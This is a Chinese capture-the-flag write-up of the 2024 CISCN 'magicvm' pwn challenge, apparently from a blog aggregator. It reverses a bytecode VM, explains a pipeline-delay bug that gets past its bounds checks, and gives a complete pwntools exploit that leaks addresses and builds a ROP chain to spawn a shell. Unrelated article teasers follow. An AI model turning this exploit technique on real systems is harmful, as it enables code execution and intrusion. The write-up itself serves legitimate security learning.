2024 cicsn magicvm

文章目录

  • 参考
  • 检查
  • 逆向
    • vm::run
    • vm::vm
    • vm_alu::set_input
    • vm_mem::set_input
    • vm_id::run
    • vm_alu::run
    • vm_mem::run
  • 漏洞
  • 思路
  • 参考的exp

参考

https://forum.butian.net/share/3048
https://akaieurus.github.io/2024/05/20/2024%E5%9B%BD%E8%B5%9B%E5%88%9D%E8%B5%9Bpwn-wp/#SuperHeap

检查

在这里插入图片描述

逆向

vm::run

__int64 __fastcall vm::run(vm *my_vm)
{
  __int64 v1; // rax
  int v3; // [rsp+1Ch] [rbp-4h]

  while ( 1 )
  {
    vm_alu::set_input(my_vm->vm_alu, my_vm);
    vm_mem::set_input(my_vm->vm_mem, my_vm);
    my_vm->pc += (int)vm_id::run(my_vm->vm_id, my_vm);// 识别当前指令并返回长度
    v3 = vm_alu::run(my_vm->vm_alu, my_vm);     // 执行当前指令,得到临时结果
    vm_mem::run(my_vm->vm_mem);                 // 将结果转换到对应的位置中去
    if ( !v3 )
      break;
    if ( v3 == -1 )
    {
      v1 = std::operator<<<std::char_traits<char>>(&std::cout, "SOME STHING WRONG!!");
      std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
      exit(0);
    }
  }
  return 0LL;
}

vm::vm

void __fastcall vm::vm(vm *my_vm)
{
  struct vm_id *vm_id; // rax
  struct vm_alu *vm_alu; // rax
  vm_mem *v3; // rax
  __int64 i; // rdx

  my_vm->code_base = mmap(0LL, 0x6000uLL, 3, 34, -1, 0LL);
  my_vm->data_base = my_vm->code_base + 0x2000LL;
  my_vm->stack_base = my_vm->data_base + 0x3000LL;
  my_vm->data_size = 0x3000LL;
  my_vm->code_size = 0x2000LL;
  my_vm->stack_size = 0x1000LL;
  vm_id = (struct vm_id *)operator new(0x28uLL);
  LODWORD(vm_id->isvalid_id) = 0;
  vm_id->opcode = 0LL;
  vm_id->optype = 0LL;
  vm_id->arg1 = 0LL;
  vm_id->arg2 = 0LL;
  my_vm->vm_id = vm_id;
  vm_alu = (struct vm_alu *)operator new(0x50uLL);
  *(_OWORD *)&vm_alu->isvali_id = 0LL;
  *(_OWORD *)&vm_alu->optype = 0LL;
  *(_OWORD *)&vm_alu->arg2 = 0LL;
  *(_OWORD *)&vm_alu->content_change_addr = 0LL;
  *(_OWORD *)&vm_alu->stack_ptr_addr = 0LL;
  my_vm->vm_alu = vm_alu;
  v3 = (vm_mem *)operator new(0x28uLL);
  v3->is_valid = 0;
  v3->value_to_addr_time = 0;
  for ( i = 0LL; ; ++i )
  {
    v3->val_to_ad[i].addr = 0LL;
    v3->val_to_ad[i].value = 0LL;
    if ( i == 1 )
      break;
  }
  my_vm->vm_mem = v3;
}

vm_alu::set_input

vm_alu *__fastcall vm_alu::set_input(vm_alu *my_vm_alu, vm *my_vm)
{
  vm_id *vm_id; // rdx
  vm_alu *result; // rax
  __int64 opcode; // rbx
  __int64 arg1; // rbx

  vm_id = my_vm->vm_id;
  result = my_vm_alu;
  opcode = vm_id->opcode;
  my_vm_alu->isvali_id = vm_id->isvalid_id;
  my_vm_alu->opcode = opcode;
  arg1 = vm_id->arg1;
  my_vm_alu->optype = vm_id->optype;
  my_vm_alu->arg1 = arg1;
  my_vm_alu->arg2 = vm_id->arg2;
  return result;
}

vm_mem::set_input

vm_mem *__fastcall vm_mem::set_input(vm_mem *my_vm_men, vm *my_vm)
{
  vm_alu *vm_alu; // rdx
  vm_mem *result; // rax
  _QWORD *content_change_addr; // rbx
  _QWORD *stack_ptr_addr; // rbx

  vm_alu = my_vm->vm_alu;
  result = my_vm_men;
  content_change_addr = vm_alu->content_change_addr;
  *(_QWORD *)&my_vm_men->is_valid = *(_QWORD *)&vm_alu->isvalid_alu;
  my_vm_men->val_to_ad[0].addr = content_change_addr;
  stack_ptr_addr = vm_alu->stack_ptr_addr;
  my_vm_men->val_to_ad[0].value = vm_alu->alu_result;
  my_vm_men->val_to_ad[1].addr = stack_ptr_addr;
  my_vm_men->val_to_ad[1].value = vm_alu->stack_ptr_after_change;
  return result;
}

vm_id::run

__int64 __fastcall vm_id::run(vm_id *my_vm_id, vm *my_vm)
{
  char *my_vm_pc; // rax
  char *optype_pc_1; // rax
  int v4; // eax
  char *first_value_pc_1; // rax
  char *first_value_pc_2; // rax
  int v7; // eax
  char *optype_pc_2; // rax
  char opcode; // [rsp+18h] [rbp-18h]
  char optype; // [rsp+19h] [rbp-17h]
  char first_value; // [rsp+1Ah] [rbp-16h]
  char first_value_1; // [rsp+1Ah] [rbp-16h]
  char second_valuea; // [rsp+1Ah] [rbp-16h]
  char second_valueb; // [rsp+1Ah] [rbp-16h]
  char value1; // [rsp+1Ah] [rbp-16h]
  char optype_1; // [rsp+1Bh] [rbp-15h]
  unsigned int change_pc; // [rsp+1Ch] [rbp-14h]
  _BYTE *optype_pc; // [rsp+20h] [rbp-10h]
  char *arg_value_pc; // [rsp+20h] [rbp-10h]
  char *value1_pc; // [rsp+20h] [rbp-10h]

  my_vm_pc = (char *)(my_vm->code_base + my_vm->pc);// 指令位置指针,按字节识别
  optype_pc = my_vm_pc + 1;
  opcode = *my_vm_pc;
  change_pc = 1;
  if ( *my_vm_pc <= 0 || opcode > 8 )
  {
    if ( opcode <= 8 || opcode > 10 )
    {
      if ( opcode && opcode != 11 )
      {
        my_vm_id->opcode = -1LL;
      }
      else
      {
        my_vm_id->opcode = opcode;              // 11 nop指令
        my_vm_id->optype = 0LL;
        my_vm_id->arg1 = 0LL;
        my_vm_id->arg2 = 0LL;
      }
    }
    else
    {                                           // 9-10 push pop
      optype_pc_2 = my_vm_pc + 1;
      value1_pc = optype_pc + 1;
      optype_1 = *optype_pc_2;
      change_pc = 2;
      my_vm_id->optype = *optype_pc_2;
      if ( (optype_1 & 3) == 2 )                // value为reg的标号
      {
        change_pc = 3;
        value1 = *value1_pc;
        if ( vm_id::check_regs(my_vm_id, *value1_pc, my_vm) )// 检查标号是否小于等于3
        {
          my_vm_id->opcode = opcode;
          my_vm_id->arg1 = value1;
          my_vm_id->arg2 = 0LL;
        }
        else                                    // 否则标号越界,错误
        {
          my_vm_id->opcode = -1LL;
        }
      }
      else                                      //  optype只能为寄存器类型,否则错误
      {
        my_vm_id->opcode = -1LL;
      }
      if ( (my_vm->stack_ptr & 7LL) != 0 )      // 八对齐,否则错误
        my_vm_id->opcode = -1LL;
      if ( opcode == 9 )                        // stack_ptr从零开始,相对地址从stack_base
      {
        if ( my_vm->stack_ptr >= my_vm->stack_size || my_vm->stack_ptr <= 7uLL )
          my_vm_id->opcode = -1LL;              // push的话要判断stack_ptr还有多余的8可以减去,并且要在stack_size里面,从零开始
      }
      else if ( (unsigned __int64)(my_vm->stack_size - 8LL) < my_vm->stack_ptr )
      {                                         // pop的话判断stack_ptr+8不会超过stack_size上界
        my_vm_id->opcode = -1LL;
      }
    }
  }
  else                                          // 1-8
  {
    optype_pc_1 = my_vm_pc + 1;
    arg_value_pc = optype_pc + 1;
    optype = *optype_pc_1;
    change_pc = 2;
    my_vm_id->optype = *optype_pc_1;
    v4 = optype & 3;
    if ( v4 == 2 )                              // value是寄存器下标
    {
      change_pc = 3;
      first_value_pc_1 = arg_value_pc++;        // 杀千刀的,这里的值是+之前的
      first_value = *first_value_pc_1;
      if ( vm_id::check_regs(my_vm_id, *first_value_pc_1, my_vm) )
      {
        my_vm_id->opcode = opcode;
        my_vm_id->arg1 = first_value;
      }
      else
      {
        my_vm_id->opcode = -1LL;
      }
    }
    else if ( v4 == 3 )                         // value也是寄存器下标,要检查寄存器中值是否超过地址界限
    {
      change_pc = 3;
      first_value_pc_2 = arg_value_pc++;
      first_value_1 = *first_value_pc_2;
      if ( vm_id::check_addr(my_vm_id, my_vm->regist[*first_value_pc_2], my_vm) )
      {
        my_vm_id->opcode = opcode;
        my_vm_id->arg1 = first_value_1;
      }
      else
      {
        my_vm_id->opcode = -1LL;
      }
    }
    else
    {
      my_vm_id->opcode = -1LL;
    }
    if ( my_vm_id->opcode != -1LL )
    {
      v7 = (optype >> 2) & 3;
      if ( v7 == 3 )
      {                                         // 参数是寄存器的下标
        ++change_pc;
        second_valueb = *arg_value_pc;
        if ( vm_id::check_addr(my_vm_id, my_vm->regist[*arg_value_pc], my_vm) )
          my_vm_id->arg2 = second_valueb;
        else
          my_vm_id->opcode = -1LL;
      }
      else
      {
        if ( ((optype >> 2) & 3u) > 3 )         // 类型大于3不存在
        {
LABEL_25:
          my_vm_id->opcode = -1LL;
          goto LABEL_45;
        }
        if ( v7 == 1 )                          // 参数是立即数
        {
          change_pc += 8;                       // pc要变化八个字节,八个字节存立即数
          my_vm_id->arg2 = *(_QWORD *)arg_value_pc;
        }
        else
        {
          if ( v7 != 2 )
            goto LABEL_25;
          ++change_pc;                          // 是寄存器
          second_valuea = *arg_value_pc;
          if ( vm_id::check_regs(my_vm_id, *arg_value_pc, my_vm) )
            my_vm_id->arg2 = second_valuea;
          else
            my_vm_id->opcode = -1LL;
        }
      }
    }
  }
LABEL_45:
  LODWORD(my_vm_id->isvalid_id) = 1;
  return change_pc;
}
_BOOL8 __fastcall vm_id::check_regs(vm_id *this, unsigned __int64 a2, vm *a3)
{
  return a2 <= 3;
}
_BOOL8 __fastcall vm_id::check_addr(vm_id *this, unsigned __int64 a2, vm *a3)
{
  return a3->data_size - 8LL >= a2;             // 地址少八,是因为地址内容是包括后面的八个字节内容
}

vm_alu::run

__int64 __fastcall vm_alu::run(vm_alu *my_vm_alu, vm *my_vm)
{
  __int64 arg2_type; // rax
  __int64 arg1_type; // rax
  unsigned __int64 opcode; // rax

  if ( !LODWORD(my_vm_alu->isvali_id) )
    return 1LL;
  if ( my_vm_alu->opcode && my_vm_alu->opcode <= 8uLL )
  {
    arg2_type = (my_vm_alu->optype >> 2) & 3LL;
    if ( arg2_type == 3 )
    {                                           // 参数为寄存器存的地址的值
      my_vm_alu->arg2 = *(_QWORD *)(my_vm->data_base + my_vm->regist[my_vm_alu->arg2]);
    }
    else if ( arg2_type != 1 )
    {
      if ( arg2_type != 2 )
        return 0xFFFFFFFFLL;
      my_vm_alu->arg2 = my_vm->regist[my_vm_alu->arg2];// 寄存器存的值
    }
    arg1_type = my_vm_alu->optype & 3LL;
    if ( arg1_type == 2 )
    {
      my_vm_alu->value_to_addr_time = 1;        // 只要修改一次地址的内容
      my_vm_alu->content_change_addr = &my_vm->regist[my_vm_alu->arg1];// 存储寄存器的值在vm结构体里的地址
      my_vm_alu->arg1 = my_vm->regist[my_vm_alu->arg1];
    }
    else
    {
      if ( arg1_type != 3 )
        return 0xFFFFFFFFLL;
      if ( (my_vm_alu->optype & 0xCLL) == 12 )
        return 0xFFFFFFFFLL;
      my_vm_alu->value_to_addr_time = 1;
      my_vm_alu->content_change_addr = (_QWORD *)(my_vm->data_base + my_vm->regist[my_vm_alu->arg1]);// 存储参数所在地址
      my_vm_alu->arg1 = *(_QWORD *)(my_vm->data_base + my_vm->regist[my_vm_alu->arg1]);// 存储地址的参数内容
    }
    switch ( my_vm_alu->opcode )
    {
      case 1LL:
        my_vm_alu->alu_result = my_vm_alu->arg2 + my_vm_alu->arg1;
        break;
      case 2LL:
        my_vm_alu->alu_result = my_vm_alu->arg1 - my_vm_alu->arg2;
        break;
      case 3LL:
        my_vm_alu->alu_result = my_vm_alu->arg1 << my_vm_alu->arg2;
        break;
      case 4LL:
        my_vm_alu->alu_result = my_vm_alu->arg1 >> my_vm_alu->arg2;
        break;
      case 5LL:
        my_vm_alu->alu_result = my_vm_alu->arg2;
        break;
      case 6LL:
        my_vm_alu->alu_result = my_vm_alu->arg2 & my_vm_alu->arg1;
        break;
      case 7LL:
        my_vm_alu->alu_result = my_vm_alu->arg2 | my_vm_alu->arg1;
        break;
      case 8LL:
        my_vm_alu->alu_result = my_vm_alu->arg2 ^ my_vm_alu->arg1;
        break;
      default:
        goto exit;
    }
    goto exit;
  }
  opcode = my_vm_alu->opcode;
  if ( opcode == 11 )
  {
    my_vm_alu->isvalid_alu = 0;
    return 1LL;
  }
  if ( opcode > 0xB )                           // 大于11无效opcode
    return 0xFFFFFFFFLL;
  if ( opcode == 10 )                           // pop
  {
    my_vm_alu->value_to_addr_time = 2;
    my_vm_alu->content_change_addr = &my_vm->regist[my_vm_alu->arg1];// 得到寄存器内容的地址,pop会修改寄存器
    my_vm_alu->alu_result = *(_QWORD *)(my_vm->stack_base + my_vm->stack_ptr);
    my_vm_alu->stack_ptr_addr = &my_vm->stack_ptr;
    my_vm_alu->stack_ptr_after_change = my_vm->stack_ptr + 8LL;
    goto exit;
  }
  if ( !opcode )
  {
    my_vm_alu->isvalid_alu = 0;
    return 0LL;
  }
  if ( opcode != 9 )
    return 0xFFFFFFFFLL;
  my_vm_alu->value_to_addr_time = 2;            // push
  my_vm_alu->content_change_addr = (_QWORD *)(my_vm->stack_base + my_vm->stack_ptr - 8LL);
  my_vm_alu->alu_result = my_vm->regist[my_vm_alu->arg1];
  my_vm_alu->stack_ptr_addr = &my_vm->stack_ptr;
  my_vm_alu->stack_ptr_after_change = my_vm->stack_ptr - 8LL;
exit:
  my_vm_alu->isvalid_alu = 1;
  return 1LL;
}

vm_mem::run

__int64 __fastcall vm_mem::run(vm_mem *my_vm_men)
{
  __int64 result; // rax
  int i; // [rsp+1Ch] [rbp-4h]

  result = (unsigned int)my_vm_men->is_valid;   // alu是否成功执行
  if ( (_DWORD)result )
  {
    for ( i = 0; ; ++i )
    {
      result = (unsigned int)my_vm_men->value_to_addr_time;// 第一次赋值改变的寄存器
                                                // 第二次赋值改变栈地址
      if ( i >= (int)result )
        break;
      *my_vm_men->val_to_ad[i].addr = my_vm_men->val_to_ad[i].value;// 赋值
    }
  }
  return result;
}

漏洞

存在延迟,有个依赖关系,各个结构体的isvalid变量,代表前一步是否执行完
分为三个阶段

  • 解析得到vid(存在检查,寄存器的标号和寄存器存储的内容(访问的地址)不能超过data_size)
  • 执行得到alu
  • 改变值得到mem

vid和改变值不是立即发生的,解析得到vid之后改变参数值(之前的指令到达mem步),那么就可以绕过vid中对参数的检查

思路

  • 任意地址写通过寄存器存储:你要写的地址-database的值,然后通过mem方式mov [寄存器+database], 值或寄存器 就可以将值写入任意地址
  • 任意地址读也差不多,寄存器存储:你要读的地址-database的值,然后通过mem方式mov 寄存器,[寄存器+database],然后寄存器就是你要读的地址里的内容了

泄露libc地址
在这里插入图片描述
在这里插入图片描述

泄露database的地址
在这里插入图片描述
泄露environ地址
在这里插入图片描述
在这里插入图片描述
得到environ内的栈地址

在这里插入图片描述
得到对应的返回地址
在这里插入图片描述
泄露pie地址
在这里插入图片描述
得到pie基地址
在这里插入图片描述
控制到database在vm上的位置
在这里插入图片描述
往database在vm结构体所在地址写入栈的返回地址所在地址
在这里插入图片描述
写入ret
在这里插入图片描述
写入pop rdi ret
在这里插入图片描述
写入/bin/sh
在这里插入图片描述
写入system地址
在这里插入图片描述
最后没有指令可以执行vm::run退出会执行之前写入的rop,最后这里加个ret是system执行时候对齐
在这里插入图片描述
结果
在这里插入图片描述

参考的exp

from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'


def inst():
    return 1

def mem():
    return 3

def reg():
    return 2

def args(flag1,flag2,arg1,arg2):
    var=(flag1|(flag2<<2)).to_bytes(1,'little')+arg1.to_bytes(1,'little')
    if flag2==1:
        return var+p64(arg2)
    else:
        return var+arg2.to_bytes(1,'little')

def arg(flag,arg):
    var=flag.to_bytes(1,'little')
    if flag==1:
        return var+p64(arg)
    else:
        return var+arg.to_bytes(1,'little')

def add(arg):
    return b'\x01'+arg

def sub(arg):
    return b'\x02'+arg

def rshift(arg):
    return b'\x03'+arg

def lshift(arg):
    return b'\x04'+arg

def mov(arg):
    return b'\x05'+arg

def andd(arg):
    return b'\x06'+arg

def orr(arg):
    return b'\x07'+arg

def xor(arg):
    return b'\x08'+arg

def pop(arg):
    return b'\x09'+arg

def push(arg):
    return b'\x0a'+arg

def nop():
    return b'\x0b'


p=process('./pwn')
libc=ELF('./libc.so.6')

# libcbase
code=mov(args(reg(),inst(),0,0x27ff8))
code+=nop()
code+=mov(args(reg(),mem(),1,0))
code+=nop()
code+=sub(args(reg(),inst(),1,0x459a0))
code+=nop()

# gap
code+=mov(args(reg(),inst(),0,0))
code+=nop()
code+=nop()

# membase
code+=mov(args(reg(),inst(),0,0x28020))
code+=nop()
code+=mov(args(reg(),mem(),2,0))
code+=nop()
code+=sub(args(reg(),inst(),2,0xc040))
code+=nop()

# gap
code+=mov(args(reg(),inst(),0,0))
code+=nop()
code+=nop()

# save libcbase membase
code+=mov(args(mem(),reg(),0,1))
code+=nop()
code+=mov(args(reg(),inst(),0,8))
code+=nop()
code+=mov(args(mem(),reg(),0,2))
code+=nop()

# stack cal
code+=mov(args(reg(),inst(),0,0x222200))
code+=nop()
code+=add(args(reg(),reg(),1,0))
code+=nop()
code+=sub(args(reg(),reg(),1,2))
code+=nop()

# gap
code+=mov(args(reg(),inst(),0,0))
code+=nop()
code+=nop()

# stack
code+=mov(args(reg(),reg(),0,1))
code+=nop()
code+=mov(args(reg(),mem(),1,0))
code+=nop()
code+=sub(args(reg(),inst(),1,0x130))
code+=nop()

# gap
code+=mov(args(reg(),inst(),0,0))
code+=nop()
code+=nop()

# pie
code+=mov(args(reg(),reg(),3,1))
code+=nop()
code+=sub(args(reg(),reg(),3,2))
code+=nop()
code+=mov(args(reg(),reg(),0,3))
code+=nop()
code+=mov(args(reg(),mem(),3,0))
code+=nop()
code+=sub(args(reg(),inst(),3,0x1ddd))
code+=nop()
code+=add(args(reg(),inst(),3,0x4200-8))
code+=nop()

# gap
code+=mov(args(reg(),inst(),0,0))
code+=nop()
code+=nop()

# change membase
code+=sub(args(reg(),reg(),3,2))
code+=nop()
code+=mov(args(reg(),mem(),2,0))
code+=nop()
code+=mov(args(reg(),reg(),0,3))
code+=nop()
code+=mov(args(mem(),reg(),0,1))
code+=nop()

# gap
code+=mov(args(reg(),inst(),3,0))
code+=nop()
code+=nop()

rdi=0x2a3e5
ret=0x29139
bin_sh=next(libc.search(b'/bin/sh\x00'))
system=libc.symbols['system']
# rop
code+=mov(args(reg(),reg(),1,2))
code+=nop()
code+=add(args(reg(),inst(),1,ret))
code+=nop()
code+=mov(args(reg(),inst(),3,0))
code+=nop()
code+=mov(args(mem(),reg(),3,1))
code+=nop()

code+=mov(args(reg(),reg(),1,2))
code+=nop()
code+=add(args(reg(),inst(),1,rdi))
code+=nop()
code+=mov(args(reg(),inst(),3,8))
code+=nop()
code+=mov(args(mem(),reg(),3,1))
code+=nop()

code+=mov(args(reg(),reg(),1,2))
code+=nop()
code+=add(args(reg(),inst(),1,bin_sh))
code+=nop()
code+=mov(args(reg(),inst(),3,0x10))
code+=nop()
code+=mov(args(mem(),reg(),3,1))
code+=nop()

code+=mov(args(reg(),reg(),1,2))
code+=nop()
code+=add(args(reg(),inst(),1,system))
code+=nop()
code+=mov(args(reg(),inst(),3,0x18))
code+=nop()
code+=mov(args(mem(),reg(),3,1))
code+=nop()

# end
code+=nop()
code+=nop()

#gdb.attach(p)
p.sendafter(b'plz input your vm-code\n',code)
p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/674195.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【Nacos_bugs】java.lang.IllegalStateException: Failed to load ApplicationContext

报错原因 找不到配置文件。 Bug 排查 如果使用 Nacos 管理配置文件&#xff0c;需要检查本地 bootstrap.yml 配置是否出现问题&#xff1a; 检查点&#xff1a; 检查 Nacos 服务的地址有没有配置错误&#xff0c;如上图 ①&#xff0c;格式严格为 IP:端口号" 检查 D…

Mongodb的数据库简介、docker部署、操作语句以及java应用

Mongodb的数据库简介、docker部署、操作语句以及java应用 本文主要介绍了mongodb的基础概念和特点&#xff0c;以及基于docker的mongodb部署方法&#xff0c;最后介绍了mongodb的常用数据库操作语句&#xff08;增删改查等&#xff09;以及java下的常用语句。 一、基础概念 …

WebPack插件实现:打包之后自动混淆加密JS文件

在WebPack中调用JShaman&#xff0c;实现对编译打包生成的JS文件混淆加密 一、插件实现 1、插件JShamanObfuscatorPlugin.js&#xff0c;代码&#xff1a; class JShamanObfuscatorPlugin { apply(compiler) { compiler.hooks.emit.tapAsync(JShamanObfuscatorPlugin, (comp…

【Python网络爬虫】详解python爬虫中正则表达式、BeautifulSoup和lxml数据解析

&#x1f517; 运行环境&#xff1a;PYTHON &#x1f6a9; 撰写作者&#xff1a;左手の明天 &#x1f947; 精选专栏&#xff1a;《python》 &#x1f525; 推荐专栏&#xff1a;《算法研究》 #### 防伪水印——左手の明天 #### &#x1f497; 大家好&#x1f917;&#x1f91…

SpringMVC日期格式处理 分页条件查询

实现日期格式处理 实现分页条件查询&#xff1a; 分页条件查询 和 查询所有 是两个不同的方法&#xff0c;使用同一个mapper的查询功能&#xff0c;但是两个不同的业务方法 ​​​​​​​

2024年5月2日 Go生态洞察:Go 1.22中的安全随机性

&#x1f337;&#x1f341; 博主猫头虎&#xff08;&#x1f405;&#x1f43e;&#xff09;带您 Go to New World✨&#x1f341; &#x1f984; 博客首页——&#x1f405;&#x1f43e;猫头虎的博客&#x1f390; 专栏链接&#xff1a; &#x1f517; 精选专栏&#xff1a;…

切勿大意!痉挛性斜颈治疗中的三个重要“禁忌”,后果堪忧!

今天&#xff0c;要给大家讲一个非常重要的话题——痉挛性斜颈的治疗。痉挛性斜颈是一种常见的神经肌肉疾病&#xff0c;患者在日常生活中可能会遇到许多困扰和不便。因此&#xff0c;及早治疗对患者来说至关重要。 然而&#xff0c;在治疗痉挛性斜颈的过程中&#xff0c;千万切…

计算机网络学习实践:模拟RIP动态路由

计算机网络学习实践&#xff1a;模拟RIP动态路由 模拟动态路由RIP协议 1.实验准备 实验环境&#xff1a;华为模拟器ENSP 实验设备&#xff1a; 3个路由器&#xff0c;3个二层交换机&#xff08;不是三层的&#xff09;&#xff0c;3个PC机 5个网段 192.168.1.0 255.255.…

计算机网络学习实践:DHCP跨网段动态分配IP

计算机网络学习实践&#xff1a;DHCP跨网段动态分配IP 1.实验准备 实验环境&#xff1a;思科的模拟器 实验设备&#xff1a; 1个服务器&#xff0c;2个二层交换机&#xff08;不是三层的&#xff09;&#xff0c;4个PC机&#xff0c;1个路由器 三个网段 192.168.1.0 255.…

【操作系统】详谈操作系统的发展历程

文章主题 导读一、手工操作阶段1.1 计算机的诞生1.2 计算机的使用 二、批处理阶段2.1 单道批处理系统2.2 多道批处理系统 三、分时操作系统3.1 分时技术3.2 分时操作系统3.1 分时系统的主要特征 四、实时操作系统五、网络操作系统和分布式计算机系统六、个人计算机操作系统结语…

【cdo专辑】2.1 文件信息(下)

目录 0.先cd进数据路径&#xff08;进行操作前一定要进入数据文件夹奥&#xff09; 1.输出文件格式&#xff08; cdo showformat nc文件&#xff09; 2.输出变量名&#xff08; cdo showname nc文件&#xff09; 3.输出变量标准名称&#xff08; cdo showstdname nc文件&am…

从“百模”到“千体”:大模型智能体的竞争格局、商业模式和技术挑战

原本平静的5月&#xff0c;从14日凌晨OpenAI发布GPT-4o开始热闹起来。 一天之后&#xff0c;谷歌在一年一度的开发者大会上发布智能助理项目Astra和轻量化多模态模型Gemini 1.5 Flash。 同一天&#xff0c;字节升级了AI助手“豆包”和应用开发平台“扣子”&#xff0c;并发布…

Postgre数据库初探

一、PostgreSQL介绍 PostgreSQL是以加州大学伯克利分校计算机系开发的POSTGRES&#xff0c; 版本 4.2为基础的对象关系型数据库管理系统&#xff08;ORDBMS&#xff09;。POSTGRES 领先的许多概念在很久以后才出现在一些商业数据库系统中。 PostgreSQL是最初的伯克利代码的开…

linux内核零拷贝技术详解

1.前言 Linux系统中一切皆文件&#xff0c;仔细想一下Linux系统的很多活动无外乎读操作和写操作&#xff0c;零拷贝就是为了提高读写性能而出现的。 2. 数据拷贝基础过程 在Linux系统内部缓存和内存容量都是有限的&#xff0c;更多的数据都是存储在磁盘中。对于Web服务器来说…

linux系统上shell脚本编写问题总结

需求背景&#xff1a;项目技术栈&#xff1a;Vue2Nuxt2TypeScript&#xff0c;是一个服务端渲染的项目&#xff0c;每次打测试包时需要在虚拟机上通过命令行打包项目&#xff0c;然后将打包生成的文件压缩为一个压缩包.tar.gz&#xff0c;然后将这个压缩包下载到本地&#xff0…

免费API HUB行业报告

1. 行业概述 1.1 API HUB定义 API HUB&#xff0c;即应用程序接口中心&#xff0c;是一个集中管理和提供API服务的平台。它允许开发者轻松地访问和集成来自不同来源的API&#xff0c;从而加速开发过程并促进技术创新。 1.2 免费API HUB的特点 免费API HUB通常具有以下特点&…

免费听歌软件b端(但需要下载)

我会觉得很好用所以分享出来供大家使用。 这个事打开后的页面包括可以选择分页&#xff0c;和搜索等 回车可以用上面的搜索图片也可以点机 从前往后呢分别是排序&#xff0c;歌曲id&#xff0c;歌曲名称&#xff0c;歌手&#xff0c;专辑&#xff0c;歌曲长度&#xff0c;操作 …

【算法每日一练】新月轩就餐

思路&#xff1a; 其实很容易想到是双指针或者双端队列。 我们设置一个type表示当前区间已经有了多少种厨师&#xff0c;同时还需要记录区间中每个元素出现的次数&#xff0c;然后比较棘手的是移动问题了&#xff0c;什么时候移动呢&#xff1f; 我们可以发现当区间当队头元…

脂热控制+规律喝水+适量运动,健康减调全攻略

一、控制脂热的摄取量 肥胖大多都是因为身体摄取了多余的脂热而逐渐形成长成的&#xff0c;因此&#xff0c;控制脂热的摄取量就等于是控制了肥胖的涨幅。不了解的&#xff0c;按公式和例举的来就行 油脂量摄取公式&#xff1a;正常人每人每天油脂量摄取每公斤体重数x0.45&am…

【漏洞复现】海康威视综合安防管理平台 orgManage/v1/orgs/download 任意文件读取漏洞

0x01 产品简介 海康威视综合安防管理平台是一套“集成化”、“智能化”的平台,通过接入视频监控、一卡通、停车场、报警检测等系统的设备。海康威视集成化综合管理软件平台,可以对接入的视频监控点集中管理,实现统一部署、统一配置、统一管理和统一调度。 0x02 漏洞概述 海康…